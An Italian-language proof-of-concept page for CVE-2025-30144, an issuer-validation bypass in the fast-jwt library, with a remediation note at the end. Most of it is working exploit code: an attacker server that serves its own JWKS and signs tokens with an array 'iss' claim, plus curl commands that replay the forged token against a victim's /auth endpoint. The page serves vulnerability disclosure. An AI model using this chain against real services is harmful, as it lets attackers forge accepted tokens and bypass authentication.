tibrn/cve-2025-30144Proof-of-concept per CVE-2025-30144: bypass della validazione dell'emittente JWT nella libreria fast-jwt che consente agli attaccanti di forgiare token con claim iss basati su array.
La libreria fast-jwt non valida correttamente il claim iss in base alla RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.
La validazione del claim iss (issuer) all'interno della libreria fast-jwt consente un array di stringhe come valore iss valido. Questa lacuna progettuale abilita un potenziale attacco in cui un attore malintenzionato crea un JWT con un claim iss strutturato come ['https://attacker-domain/', 'https://valid-iss']. A causa della validazione permissiva, il JWT verrà considerato valido.
Inoltre, se l'applicazione fa affidamento su librerie esterne come get-jwks che non validano in modo indipendente il claim iss, l'attaccante può sfruttare questa vulnerabilità per forgiare un JWT che verrà accettato dall'applicazione vittima. In sostanza, l'attaccante può inserire il proprio dominio nell'array , insieme al legitimo issuer, e bypassare i controlli di sicurezza previsti.
issPrendi un server che esegue il seguente codice:
const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')
const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
jwks.getPublicKey({
kid: jwt.header.kid,
alg: jwt.header.alg,
domain: jwt.payload.iss
});
const jwtVerifier = createVerifier({
key: keyFetcher,
allowedIss: 'https://valid-iss',
});
const app = express();
const port = 3000;
app.use(express.json());
async function verifyToken(req, res, next) {
const headerAuth = req.headers.authorization.split(' ')
let token = '';
if (headerAuth.length > 1) {
token = headerAuth[1];
}
const payload = await jwtVerifier(token);
req.decoded = payload;
next();
}
// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
res.json(req.decoded);
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
Ora creiamo un server che verrà utilizzato per generare il token JWT e inviare le chiavi di verifica al server vittima:
const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');
const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;
const { publicKey, privateKey } = generateKeyPairSync("rsa",
{ modulusLength: 4096,
publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
},
);
const jwk = pem2jwk(publicKey);
app.use(express.json());
// Endpoint to create token
app.post('/create-token', (req, res) => {
const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' });
res.send(token);
});
app.get('/.well-known/jwks.json', (req, res) => {
return res.json({
keys: [{
...jwk,
alg: 'RS256',
use: 'sig',
}]
});
})
app.all('*', (req, res) => {
return res.json({
"issuer": host,
"jwks_uri": host + '.well-known/jwks.json'
});
});
app.listen(port, () => {
console.log(`Server is running on port ${port}`);
});
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"
Le applicazioni che fanno affidamento sulla validazione del claim iss da parte di fast-jwt consentono agli attaccanti di firmare payload arbitrari che verranno accettati dal verificatore.
Modificare https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 in un validatore che accetti solo stringhe come valore, come indicato nella RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.